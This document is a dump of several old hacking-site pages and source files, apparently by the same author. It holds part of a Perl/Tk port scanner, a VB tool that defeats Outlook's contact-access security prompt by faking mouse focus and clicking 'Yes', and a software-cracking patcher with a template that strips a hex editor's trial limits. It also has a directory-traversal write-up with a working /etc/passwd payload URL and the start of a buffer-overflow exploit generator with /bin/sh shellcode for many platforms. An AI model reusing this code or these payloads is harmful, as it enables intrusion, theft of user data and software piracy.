  6022. $but->Button(-background => 'black', -foreground => 'white', -text => 'Exit', -command => [$mw,'destroy'])->pack(-side => 'right');
  6023. $mid = $mw->Frame(-background => 'black', -foreground => 'green')->pack(-side => 'top', -fill => 'y', -expand => 'y');
  6024. $win = $mid->Frame(-background => 'black', -foreground => 'green')->pack(-side => 'left', pady => 2, padx => 2);
  6025. #$mw->Photo('imggif', -file => "lxban.gif");
  6026. #$l = $mw->Label('-image' => 'imggif', -border => 0)->pack;
  6027. MainLoop;
  6028. sub scan {
  6029. my ($entry, $fromport, $toport, $file, $scan, $true, $con, $top1);
  6030. ($entry, $fromport, $toport, $file) = @_;
  6031. if ($save %2 != 0) {
  6032. $sfile = get $file;
  6033. }
  6034. $sentry = get $entry;
  6035. $sfromport = get $fromport;
  6036. $stoport = get $toport;
  6037. $scan;
  6038. do {
  6039. $true = "0";
  6040. $con = IO::Socket::INET->new(
  6041. Proto => "tcp",
  6042. PeerAddr => $sentry,
  6043. PeerPort => $sfromport) or $true++;
  6044. if ($true == "0") {
  6045. $scan .= "Port $sfromport open\n";
  6046. if ($save == 1) {
  6047. if ($sfile eq "") {
  6048. $sfile = "/tmp/tkscan.log";
  6049. }
  6050. open(FILE, ">>$sfile");
  6051. print FILE "Port $sfromport open on $sentry\n";
  6052. }
  6053. }
  6054. $sfromport++;
  6055. }
  6056. while ($sfromport <= $stoport);
  6057. if ($save %2 != 0) {
  6058. close(FILE);
  6059. }
  6060. $top1 = $mw->Toplevel;
  6061. $top1->title(" Ports");
  6062. $top1->Label(-text => "Ports open on $sentry\n\n$scan")->pack;
  6063. }
  6064. sub info {
  6065. my $top2 = $mw->Toplevel;
  6066. $top2->Label(-text => "Perl/Tk port scanner\nwritten by samy\n\nhttp://www.LucidX.com\n")->pack;
  6067. }
  6068. sub save {
  6069. $save++;
  6070. if ($save %2 != 0) {
  6071. $file->configure(-background => 'white', -foreground => 'black', -relief => 'sunken');
  6072. $file->delete(0, 'end');
  6073. $file->insert('end', "/tmp/tkscan.log");
  6074. }
  6075. else {
  6076. $file->configure(-background => 'grey', -foreground => 'grey');
  6077. $file->delete(0, 'end');
  6078. }
  6079. }
  6080.  
  6081.  
  6082. ' Outsmart -- Local Outlook Security Evasion -- samy@lucidx.com
  6083. '
  6084. ' Recent versions of Outlook, as well as a released patch,
  6085. ' make Outlook prompt the user whenever a remote appliction
  6086. ' tries to access specific contact information in the Outlook
  6087. ' Contact database. The user can then decide to allow or not
  6088. ' allow the application to get that access.
  6089. '
  6090. ' Microsoft took extra care in making sure that a remote
  6091. ' application could not just get the handle to the popup,
  6092. ' focus it, and click 'Yes' for the user. In fact, if you try
  6093. ' that, you will SEE the button getting clicked, but nothing
  6094. ' happening. I discovered that only when it receives focus
  6095. ' from the mouse does it allow the buttons to be controlled.
  6096. '
  6097. ' Yes, even BM_CLICK's, WM_LBUTTONDOWN/WM_LBUTTONUP,
  6098. ' SetActiveWindow, SetForegroundWindow, etc will not do the job
  6099. ' until focus from a mouseevent is executed.
  6100. '
  6101. ' I did this in VB to be used within an actual VBA Outlook
  6102. ' plugin, if you really wanted to. I'm not a VB programmer
  6103. ' and this is my first VB application so please don't h8.
  6104. '
  6105. ' Thanks to BasharTeg for pointing me in the right direction
  6106. ' on functions to use to get access to certain objects.
  6107. '
  6108. ' Enjoy.
  6109. '
  6110. ' -samy, 10/22/04
  6111.  
  6112. Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
  6113. (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  6114.  
  6115. Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
  6116. (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
  6117. ByVal lParam As Long) As Long
  6118.  
  6119. Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
  6120. (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
  6121. ByVal lpsz2 As String) As Long
  6122.  
  6123. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  6124.  
  6125. Private Declare Function GetCursorPos Lib "user32" _
  6126. (lpPoint As POINTAPI) As Long
  6127.  
  6128. Private Declare Function SetCursorPos Lib "user32" _
  6129. (ByVal X As Long, ByVal Y As Long) As Long
  6130.  
  6131. Private Declare Function GetWindowRect Lib "user32" _
  6132. (ByVal hWnd As Long, lpRect As RECT) As Long
  6133.  
  6134. Private Declare Sub mouse_event Lib "user32" _
  6135. (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy _
  6136. As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
  6137.  
  6138. Private Type RECT
  6139. Left As Long
  6140. Top As Long
  6141. Right As Long
  6142. Bottom As Long
  6143. End Type
  6144.  
  6145. Private Type POINTAPI
  6146. X As Long
  6147. Y As Long
  6148. End Type
  6149.  
  6150.  
  6151. Const WM_ACTIVATE = &H6
  6152. Const MA_ACTIVATE = 1
  6153.  
  6154. Const BM_CLICK = &HF5
  6155. Const BM_SETCHECK = &HF1
  6156.  
  6157. Const MOUSEEVENTF_LEFTDOWN = &H2
  6158. Const MOUSEEVENTF_LEFTUP = &H4
  6159.  
  6160. Const CB_GETCOUNT = &H146
  6161. Const CB_SETCURSEL = &H14E
  6162.  
  6163.  
  6164. ' Mutex Stuff
  6165. Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (lpMutexAttributes As Any, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
  6166. Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
  6167. Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long
  6168. Const ERROR_ALREADY_EXISTS = 183&
  6169. Dim mutex As Long
  6170.  
  6171.  
  6172. Private Sub Form_Load()
  6173. ' Setup a mutex
  6174. SetupMutex
  6175.  
  6176. ' Kill any security popups ;) within the next <Seconds>
  6177. ' This function actually makes any security popups that are active
  6178. ' disabled for 10 minutes. I run this app right before I need
  6179. ' to access any contact database email info. I do not do
  6180. ' this from the program itself since VB doesn't have real
  6181. ' threading (Timers will not work when a call waits which is
  6182. ' what happens upon Outlook's security window popup).
  6183. KillSecurity 3
  6184.  
  6185. ' Exit and close mutex
  6186. Unload Me
  6187. End
  6188. End Sub
  6189.  
  6190.  
  6191. ' Set the security popup to allow us to access contact info
  6192. ' for the next 10 minutes. This only works if the poup
  6193. ' is actually up.
  6194. Sub KillSecurity(Seconds As Integer)
  6195. Dim hWndParent&, hWndChild&, hWndCheck&, hWndCombo&
  6196. Dim i As Integer
  6197. Dim comboItems As Integer
  6198. Dim mousepos As POINTAPI
  6199. Dim lpRect As RECT
  6200.  
  6201. i = 0
  6202. Do
  6203. hWndParent = 0
  6204. i = i + 1
  6205.  
  6206. ' Get highest parent window handle
  6207. hWndOutlook = FindWindow(vbNullString, "Microsoft Outlook")
  6208.  
  6209. ' Get parent window handle
  6210. hWndParent = FindWindow("#32770", "Microsoft Office Outlook")
  6211. If hWndParent = 0 Then
  6212. hWndParent = FindWindow("#32770", "Microsoft Outlook")
  6213. End If
  6214.  
  6215. ' If we found a handle
  6216. If hWndParent Then
  6217. hWndChild = 0
  6218. hWndCombo = 0
  6219. hWndCheck = 0
  6220.  
  6221. ' Find the 'Yes' button and other things in the security box
  6222. hWndChild = FindWindowEx(hWndParent, 0, "Button", "Yes")
  6223. If hWndChild = 0 Then
  6224. hWndChild = FindWindowEx(hWndParent, 0, "Button", "&Yes")
  6225. End If
  6226.  
  6227. hWndCombo = FindWindowEx(hWndParent, 0, "ComboBox", "")
  6228. hWndCheck = FindWindowEx(hWndParent, 0, "Button", "&Allow access for")
  6229.  
  6230.  
  6231. ' If we found the security dialog box, let's own it
  6232. If hWndChild And hWndCheck And hWndCombo Then
  6233.  
  6234. ' Focus Outlook -- Outlook's security patch attempts to
  6235. ' stop intruders just clicking the 'yes' which is why
  6236. ' no one has been able to get around this yet. It only
  6237. ' works if the window is given manual focus from the
  6238. ' mouse, and not a system call like SetForegroundWindow.
  6239. ' I rule.
  6240. Call GetCursorPos(mousepos)
  6241. Call GetWindowRect(hWndParent, lpRect)
  6242. Call SetCursorPos(lpRect.Left + 10, lpRect.Top + 10)
  6243. Call mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
  6244. Call Sleep(0)
  6245. Call mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
  6246. Call SetCursorPos(mousepos.X, mousepos.Y)
  6247.  
  6248. ' Check the 'Allow access for' checkbox
  6249. Call SendMessage(hWndCheck, BM_SETCHECK, 1, 0)
  6250.  
  6251. ' Get number of drop down items
  6252. comboItems = SendMessage(hWndCombo, CB_GETCOUNT, 0, 0)
  6253.  
  6254. ' Set minutes to number of drop down items (0 based)
  6255. Call SendMessage(hWndCombo, CB_SETCURSEL, comboItems - 1, 0)
  6256.  
  6257. ' Click 'Yes'
  6258. Call SendMessage(hWndChild, WM_ACTIVATE, MA_ACTIVATE, 0)
  6259. Call SendMessage(hWndChild, BM_CLICK, 0, 0)
  6260. End If
  6261. End If
  6262.  
  6263. Sleep 50
  6264. Loop While i < Seconds * 20
  6265. End Sub
  6266.  
  6267.  
  6268.  
  6269.  
  6270. ' On unload
  6271. Private Sub Form_Unload(Cancel As Integer)
  6272. ReleaseMutex mutex
  6273. CloseHandle mutex
  6274. End Sub
  6275.  
  6276.  
  6277. ' Create mutex
  6278. Sub SetupMutex()
  6279. ' set a mutex up
  6280. mutex = CreateMutex(ByVal 0&, 1, "Outsmartmutex")
  6281. If Err.LastDllError = ERROR_ALREADY_EXISTS Then
  6282. ' Clean up
  6283. ReleaseMutex mutex
  6284. CloseHandle mutex
  6285.  
  6286. ' More than one instance detected
  6287. Unload Me
  6288. End
  6289. End If
  6290. End Sub
  6291.  
  6292.  
  6293. Cracker-Patcher 5
  6294. Welcome to crack.LucidX.com
  6295. Here, you can find Cracker-Patcher 5 (C-P5) and .cp5 files for it (by SeaPea5).
  6296. 5.01-RELEASE out! [6/19/2002] -- added registry entry creation and replacement!
  6297. Current version: 5.01 .. Download (.exe)
  6298. Update file (you can ignore this): here
  6299. Template .cp5 file: hexedit210.cp5 (hex edit 2.10 patch)
  6300. Todo list:
  6301. make the 'Update' button more powerful
  6302. add an image/logo into the program
  6303. add key generation functionality
  6304. Cracker-Patcher 5 is a program that allows you to apply patches to applications. To crack programs, you need the appropriate .cp5 file for what you're patching (incredibly small and easy to share with others).
  6305. .cp5 files are easy to create. They're really just text files in a nice, neat format. You can find a template here. Basically, all .cp5 files contain are byte-offsets and hex data to replace data at those offsets. Hopefully keygeneration and other algorithmic expressions will be allowed in future versions.
  6306. Download c-p5 here.
  6307. Template .cp5 file -- hexedit210.cp5
  6308. # hex edit 2.10 patch (made for c-p5 5.01)
  6309. #
  6310. # after you run this via c-p5.exe, hexedit will have
  6311. # the trial and nag screens and the such removed
  6312. #
  6313. # -SeaPea5
  6314.  
  6315. #
  6316. # info lines aren't required but are good to have
  6317. # name, version, filename, and size are best to have
  6318. #
  6319. # the 'important' info will be displayed to the user
  6320. # right before the user cracks the program and will
  6321. # be given a choice to continue or cancel, if they
  6322. # cancel, the program will not be cracked
  6323. #
  6324.  
  6325. # name of info info itself
  6326.  
  6327. info name Hex Edit # you can add
  6328. info version 2.10 # comments at
  6329. info description a hex editor # here, also
  6330. info filename hedit.exe
  6331. info size 7823360
  6332. info author cp5
  6333. info important The user will always see this
  6334. info important before they crack the program
  6335. info important and will have the choice to
  6336. info important continue or cancel the crack
  6337.  
  6338. #
  6339. # as of 5.01-RELEASE, you can add/change registry values
  6340. #
  6341.  
  6342. # "location" "new string/data" optional type
  6343. registry "LMachine\SOFTWARE\Blah\oldstring" "blah blah blah"
  6344. registry "LMachine\SOFTWARE\Blah\newstring" "h4w h4w h4w" REG_SZ
  6345.  
  6346. #
  6347. # as you can see, c-p5 allows a variety of ways to modify data...
  6348. # these 5 patches will make hex edit full
  6349. # the 0x lines reference to the offset you want to replace data and
  6350. # replace with the following data in hex
  6351. #
  6352. # the hex after can be written in a multitude of ways as shown below
  6353. # the \d lines do the same as 0x lines,
  6354. # but the offsets are just in decimal instead of hex
  6355. #
  6356.  
  6357. # offset replacement data in hex
  6358.  
  6359. 0x174bc 4973 # offset info:
  6360. \x0174c0 \x49 \x73 # same as 0x174c0
  6361. 0x000174c4 0x49 0x73 # same as 0x174c4
  6362. \d95428 49 73 # equiv to 0x174c4
  6363. \d00095436 4973 # equiv to 0x174cc
  6364.  
  6365.  
  6366. CC V
  6367. by Samy Kamkar [CommPort5@LucidX.com]
  6368. Bug Classification
  6369. Improper filtering of CGI parameters
  6370. Example and Description
  6371. Many CGIs, or Common Gateway Interfaces, are used to retrieve files on the machine running the HTTP daemon and output their data to the user remotely accessing the CGI. The problem with many of these CGIs is that the developers do not include filters on the user input, when it is the user that submits the or part of the name of the file that is accessed. This allows malicious users to read files that they shouldn't have access to, or even execute programs on the machine.
  6372. Here is some example perl code of a basic CGI with the common bug of no filtering mechanism to important user input:
  6373. ---------------------------------------
  6374. #!/usr/bin/perl
  6375. use CGI qw/:standard/; # standard CGI module
  6376. print header; # content-type header
  6377. $dir = "htmlfiles"; # directory where the html files would be
  6378. $file = param("file"); # input from user
  6379. $fullpath = $dir . "/" . $file . ".html"; # create a full path
  6380. open(FILE, "<$fullpath"); # opens the file, read-only mode
  6381. while () { print } # to print the contents of the file
  6382. close(FILE); # close the file
  6383. # end of code
  6384. ---------------------------------------
  6385.  
  6386. The problem with this code is that a malicious user is able to read data that s/he shouldn't have access to. An example of this is someone trying to read /etc/passwd. /etc/passwd is a good example of a file to be read since it's almost always readable by any user and is on almost all UNIX-like systems. There are two things that are required, which should be, but aren't, filtered in this program, to allow someone to read a file such as /etc/passwd. One is to escape the directory that the open() statement would normally read in, and second is to escape the ".html" put at the end of the open(). Here is an example of a URL to read the /etc/passwd on a machine running the example CGI: http://server/cgi-bin/the.cgi?file=../../../../../../../../etc/passwd%00 The CGI then reads "htmlfiles/../../../../../../../../etc/passwd\0.html" \0 is the null terminator. The null terminator is what escapes the .html since the open() and many other functions in many languages stop reading inputted data once it reaches a null terminator. And to escape the directory that the open() reads in, we use ../'s.
  6387. - Algorithm
  6388. 1. Spider the website, starting from the root index.
  6389. 2. Recursively search through all URLs on the web site to find all URLs that are on that machine.
  6390. 3. Find all URLs in the already-found URLs that contain a '?' and assume that those are the only URLs that are vulnerable to our bug.
  6391. 4. Find all key and element pairs in each of these URLs and find all URLs with only a key (no '=' in the URL) and consider that key an element.
  6392. 5. Go through each key and element of each URL and replace each element of each URL with a '../' x 20 . 'etc/passwd%00'.
  6393. 6. For every element replacement, do a GET request on that URL and match the responses for /root:/.
  6394. 7. For each response that contains 'root:', decrement the URL by one '../', do a GET request on the new URL, and check the response again to see if it contains a 'root:' repeatedly. Once the response does not contain a 'root:', add one more '../' to the URL and log that URL as an exploitable CGI. Continue element replacement to find any other bugs for other key and element pairs.
  6395. http://www.samy.pl/5balgo1.html
  6396.  
  6397. CC V
  6398. by H1kari, BasharTeg, CommPort5
  6399. Sample code available here.
  6400. You must also download the template session capture file available here.
  6401. 5b. Automatic Exploit Discovery -
  6402. 1. Identify classifications of common software bugs as specifically as possible
  6403. 2. Name a theoretical example of each bug, ideally in "ASCII over TCP" protocols
  6404. 3. Describe an algorithm for automating remote detection of those bugs in client-server software. Assume that you have a working copy of server software, captured images of valid transactions and reasonable hardware. Ideal situations will need no knowledge of the protocol grammar beyond word and seperator characters.
  6405. The Answers -
  6406. a1. Failure to validate input buffer lengths
  6407. a2. In POP3 authentication, username input may not be length-validated.
  6408. a3. Most buffer overflows can be detected in ASCII protocols by replaying a captured session repeatedly, replacing one word each time with a 4097 character word.
  6409. - check for disconnect
  6410. b1. Fencepost a.k.a. Off by one counting errors
  6411. b2. In POP3 message retrieval, there could be an off-by-one error in the number of retreivable messages.
  6412. b3. Off-by-one errors can be detected by replaying a captured session with each numeric client-side word replaced with each previously seen numeric server words.
  6413. - check for different response
  6414. c1. Null Pointers, Dereferencing, Page Fault
  6415. c2. In POP3, deleting or retreiving message 0 without checking, or executing commands out of order might cause null pointers to be used.
  6416. c3. Null Pointers can be detected by replaying a captured session and executing the commands in a different order, or by replacing numerical words with 0 or negative numbers.
  6417. - check for disconnect
  6418. d1. Race Conditions
  6419. d2. In POP3 race conditions may occur when mail is received or removed and counters are modified while being read or written to by other connected clients.
  6420. d3. Race Conditions can be detected by replaying a captured session in a control process and executing other captured sessions with the commands put in various orders at the same time and looking for unexpected results. (e.g., run your control process without a second test process, then re-run with the test process running concurrently and check for deviations with the results).
  6421. - check for deviations
  6422. e1. Using uninitialized variables/memory
  6423. e2. In POP3 validation of protocol order may not be checked, sending your password before username or executing commands out of order may cause uninitialized variables to be used.
  6424. e3. Using uninitialized variables/memory can be detected by replaying a captured session with the client-side commands put in different order.
  6425. - check for disconnect
  6426. f1. Poorly implemented input matching
  6427. f2. In HTTP, failure to check filenames that might attempt a directory traversal ".." or unexpected characters or strings passed to cgi applications.
  6428. f3. Poorly implemented input matching can be detected by replaying a captured session with each word replaced with unexpected input characters depending on the protocol. (e.g. "..", file globbing characters -- "*, ?, +, [, ]", regex matching characters -- "+, *, ?, ^, $, (, ), {, }, [, ]", format string vuln characters -- "%s, %d, %p, %n, etc", common exec exploitation characters -- ";, <, >, |, ", '", null and non-ascii characters)
  6429. - check for different response
  6430. g1. Memory leaks (not freeing dynamically allocated memory)
  6431. g2. In POP3, if memory for each message is not freed and numerous messages are read, it could cause denial of service.
  6432. g3. Memory leaks can be detected by replaying a captured session and repeating a command numerous times while checking latency and availability.
  6433. - check for latency or disconnect
  6434. h1. Mixing signed and unsigned number variables
  6435. h2. In HTTP, sending an negative number as the byte count (Content-Length) for a POST, assuming the httpd uses a signed variable with the byte count. (which would check out fine if the program checks to see if the content-length is < the bytes read) And in turn if it set the length variable for the POST buffer to the negative number, it could cause the processing function to read more data than is supplied.
  6436. h3. Improper mixing of signed and unsigned number variables can be detected by replaying a captured session with all numerical words inverted to their negative equivalent, or positive equivalent if negative.
  6437. - check for different response
  6438. i1. Failure to resolve escapes before validating
  6439. i2. In HTTP, failure to resolve unicode, specialchars, and other http escaped characters before input matching.
  6440. i3. Failure to resolve escapes before validating can be detected by replaying a normal session as well as all input matching sessions with all characters escaped.
  6441. - check for different response
  6442. http://www.samy.pl/5balgo2.html
  6443.  
  6444.  
  6445. bofgen.pl - a buffer overflow exploit generation program
  6446. bofgen.pl is a simple buffer overflow exploit generation program I worked on for a little bit, just to make some things easier. it allows you to enter simple information and will create an advanced exploit for you, portable to many different architectures and operating systems. check it out.
  6447. bofgen.pl
  6448. getenvs.pl - this program finds environment variables in binary programs when you don't have source available to you (or you want to find them quickly). this is especially good for finding buffer overflows in programs easily
  6449. testenvs.pl - this will take a binary program, find all of the environment variables, and fill them up with data to attempt to overflow it. it's good with use of `find / -perm -4000`. it will easily help you find some exploitable (through ENV variables) programs and it will also attempt to exploit the program with a basic arguement buffer overflow.
  6450. options are below for bofgen (when certain questions are answered, that value may intentionally change/add/remove other questions)
  6451. Buffer Overflow Exploit Generation program [bofgen.pl]
  6452. By CommPort5 [@LucidX.com]
  6453.  
  6454. * = required, []'s = default (and required)
  6455.  
  6456. name of your exploit [exploit.pl]:
  6457. * path (full path recommended) to exploitable program:
  6458. nop [\x90]:
  6459. return address [0xbfffffff]:
  6460. offset [0]:
  6461. * length to overwrite %eip (without the +100):
  6462. remove all environment variables before executing program (1 = true, 0 = false) [1]:
  6463. * type of buffer overflow, 1 = arguement, 2 = environment:
  6464. 1 = aix 2 = bsdi
  6465. 3 = dg_ux 4 = freebsd
  6466. 5 = hp_ux 6 = linux_x86
  6467. 7 = linux_sparc 8 = openbsd
  6468. 9 = ppc_linux 10 = ppc_bsd
  6469. 11 = openserver 12 = solaris_sparc
  6470. 13 = unixware
  6471. * enter the OSs you would like support for (enter numbers, whitespace seperated):
  6472. preceding arguements (before buffer overflow, if any):
  6473. insert environment variable (key name, if any - not buffer overflow key):
  6474. insert environment data for key:
  6475. accept an offset from the user in command line (1 = true, 0 = false) [0]:
  6476. require an offset from the user in command line (1 = true, 0 = false) [0]:
  6477. accept a return address from the user in command line (1 = true, 0 = false) [0]:
  6478. require a return address from the user in command line (1 = true, 0 = false) [0]:
  6479. enter key to use to store buffer:
  6480.  
  6481. Exploit saved in exploit.pl
  6482.  
  6483. - made by bofgen.pl - http://bofgen.LucidX.com - CommPort5@LucidX.com -
  6484.  
  6485. http://www.samy.pl/bofgen/
  6486.  
  6487. #!/usr/bin/perl
  6488.  
  6489. #
  6490. # bofgen.pl - by CommPort5 [@LucidX.com]
  6491. # a local buffer overflow exploit generation program
  6492. # http://bofgen.LucidX.com
  6493. #
  6494.  
  6495. @{$exploit{osnums}} = (
  6496. "aix", "bsdi", "dg_ux", "freebsd", "hp_ux",
  6497. "linux_x86", "linux_sparc", "openbsd", "ppc_linux",
  6498. "ppc_bsd", "openserver", "solaris_sparc", "unixware",
  6499. );
  6500.  
  6501. %shellcode = (
  6502. aix =>
  6503. '0x7c0802a6 . 0x9421fbb0 . 0x90010458 . 0x3c60f019 .
  6504. 0x60632c48 . 0x90610440 . 0x3c60d002 . 0x60634c0c .
  6505. 0x90610444 . 0x3c602f62 . 0x6063696e . 0x90610438 .
  6506. 0x3c602f73 . 0x60636801 . 0x3863ffff . 0x9061043c .
  6507. 0x30610438 . 0x7c842278 . 0x80410440 . 0x80010444 .
  6508. 0x7c0903a6 . 0x4e800420 . 0x0',
  6509.  
  6510. bsdi =>
  6511. '"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76" .
  6512. "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07" .
  6513. "\xff\xe8\xdc\xff\xff\xff/bin/sh\x00"',
  6514.  
  6515. dg_ux =>
  6516. '"\x58\xfe\xde\x23\x0f\x04\xde\x47\x04\x74\xf0\x43\xa4\x01\x8f\xb0" .
  6517. "\xa4\x01\x4f\x21\xfb\x6b\x3f\x24\x01\x80\x21\x20\xa8\x01\x2f\xb4" .
  6518. "\x10\x04\xff\x47\x80\xf4\xe2\x47\xff\x7f\x4a\x6b\x69\x6e\x3f\x24" .
  6519. "\x2f\x62\x21\x20\x73\x68\x5f\x24\xff\x2f\x42\x20\x82\x16\x41\x48" .
  6520. "\x90\x01\x2f\xb0\x94\x01\x4f\xb0\x98\x01\xef\xb5\xa0\x01\xef\xb7" .
  6521. "\x90\x01\x0f\x22\x98\x01\x2f\x22\x12\x04\xff\x47\x80\x74\xe7\x47" .
  6522. "\xff\x7f\xea\x6b"',
  6523.  
  6524. freebsd =>
  6525. '"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" .
  6526. "\x69\x89\xe3\x51\x52\x53\x53\x6a\x3b\x58\xcd\x80"',
  6527.  
  6528. hp_ux =>
  6529. '"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" .
  6530. "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" .
  6531. "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff"',
  6532.  
  6533. linux_x86 =>
  6534. '"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d" .
  6535. "\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3" .
  6536. "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" .
  6537. "\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"',
  6538.  
  6539. linux_sparc =>
  6540. '"\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" .
  6541. "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" .
  6542. "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" .
  6543. "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" .
  6544. "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10"',
  6545.  
  6546. openbsd =>
  6547. '"\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62" .
  6548. "\x69\x89\xe3\x51\x52\x53\x53\x6a\x3b\x58\xcd\x80"',
  6549.  
  6550. ppc_linux =>
  6551. '0x7CC63278 . 0x2F867FFF . 0x41BC0054 . 0x7C6802A6 .
  6552. 0xB0C3FFF9 . 0xB0C3FFF1 . 0x38867FF0 . 0x38A67FF4 .
  6553. 0x38E67FF3 . 0x7CA52278 . 0x7CE72278 . 0x7C853A14 .
  6554. 0x7CC419AE . 0x7C042A14 . 0x7CE72850 . 0x7C852A14 .
  6555. 0x7C63212E . 0x7C832214 . 0x7CC5212E . 0x7CA52A78 .
  6556. 0x44FFFF02 . 0x7CE03B78 . 0x44FFFF02 . 0x4BFFFFB1 .
  6557. 0x2F62696E . 0x2F73685A . 0xFFFFFFFF . 0xFFFFFFFF',
  6558.  
  6559. ppc_bsd =>
  6560. '0x7CC63278 . 0x2F867FFF . 0x41BC0054 . 0x7C6802A6 .
  6561. 0xB0C3FFF9 . 0xB0C3FFF1 . 0x38867FF0 . 0x38A67FF4 .
  6562. 0x38E67FF3 . 0x7CA52278 . 0x7CE72278 . 0x7C853A14 .
  6563. 0x7CC419AE . 0x7C042A14 . 0x7CE72850 . 0x7C852A14 .
  6564. 0x7C63212E . 0x7C832214 . 0x7CC5212E . 0x7CA52A78 .
  6565. 0x44FFFF02 . 0x7CE03B78 . 0x44FFFF02 . 0x4BFFFFB1 .
  6566. 0x2F62696E . 0x2F73685A . 0xFFFFFFFF . 0xFFFFFFFF',
  6567.  
  6568. openserver =>
  6569. '"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0" .
  6570. "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff" .
  6571. "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa"',
  6572.  
  6573. solaris_sparc =>
  6574. '"\x90\x1b\xc0\x0f\x82\x10\x20\x17\x91\xd0\x20\x08\x90\x1b\xc0\x0f"
  6575. "\x82\x10\x20\x1b\x91\xd0\x20\x08\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  6576. "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1b\xc0\x0f"
  6577. "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc"
  6578. "\x82\x10\x20\x3b\x91\xd0\x20\x08"',
  6579.  
  6580. unixware =>
  6581. '"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" .
  6582. "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" .
  6583. "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" .
  6584. "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" .
  6585. "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" .
  6586. "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"',
  6587. );
  6588.  
  6589. %default = (
  6590. name => "exploit.pl",
  6591. nop => '\x90',
  6592. ret => '0xbfffffff',
  6593. offset => 0,
  6594. rmenv => 0,
  6595. aoff => 0,
  6596. roff => 0,
  6597. aret => 0,
  6598. rret => 0,
  6599. );
  6600.  
  6601. %colors = ( 'clear' => 0,
  6602. 'reset' => 0,
  6603. 'bold' => 1,
  6604. 'dark' => 2,
  6605. 'underline' => 4,
  6606. 'underscore' => 4,
  6607. 'blink' => 5,
  6608. 'reverse' => 7,
  6609. 'concealed' => 8,
  6610. 'black' => 30, 'on_black' => 40,
  6611. 'red' => 31, 'on_red' => 41,
  6612. 'green' => 32, 'on_green' => 42,
  6613. 'yellow' => 33, 'on_yellow' => 43,
  6614. 'blue' => 34, 'on_blue' => 44,
  6615. 'magenta' => 35, 'on_magenta' => 45,
  6616. 'cyan' => 36, 'on_cyan' => 46,
  6617. 'white' => 37, 'on_white' => 47,
  6618. );
  6619.  
  6620. print "\nBuffer Overflow Exploit Generation program [bofgen.pl]\n";
  6621. print "By CommPort5 [\@LucidX.com]\n\n";
  6622.  
  6623. print "* = required, []'s = default (and required)\n\n";
  6624.  
  6625. print "name of your exploit [$default{name}]: ";
  6626. chomp($exploit{name} = <STDIN>);
  6627. $exploit{name} = $default{name} if $exploit{name} eq '';
  6628.  
  6629. while (!$exploit{path}) {
  6630. print "* path (full path recommended) to exploitable program: ";
  6631. chomp($exploit{path} = <STDIN>);
  6632. }
  6633.  
  6634. print "nop [$default{nop}]: ";
  6635. chomp($exploit{nop} = <STDIN>);
  6636. $exploit{nop} = $default{nop} if $exploit{nop} eq '';
  6637.  
  6638. print "return address [$default{ret}]: ";
  6639. chomp($exploit{ret} = <STDIN>);
  6640. $exploit{ret} = $default{ret} if $exploit{ret} eq '';
  6641.  
  6642. while ($exploit{offset} !~ /^\d+$/) {
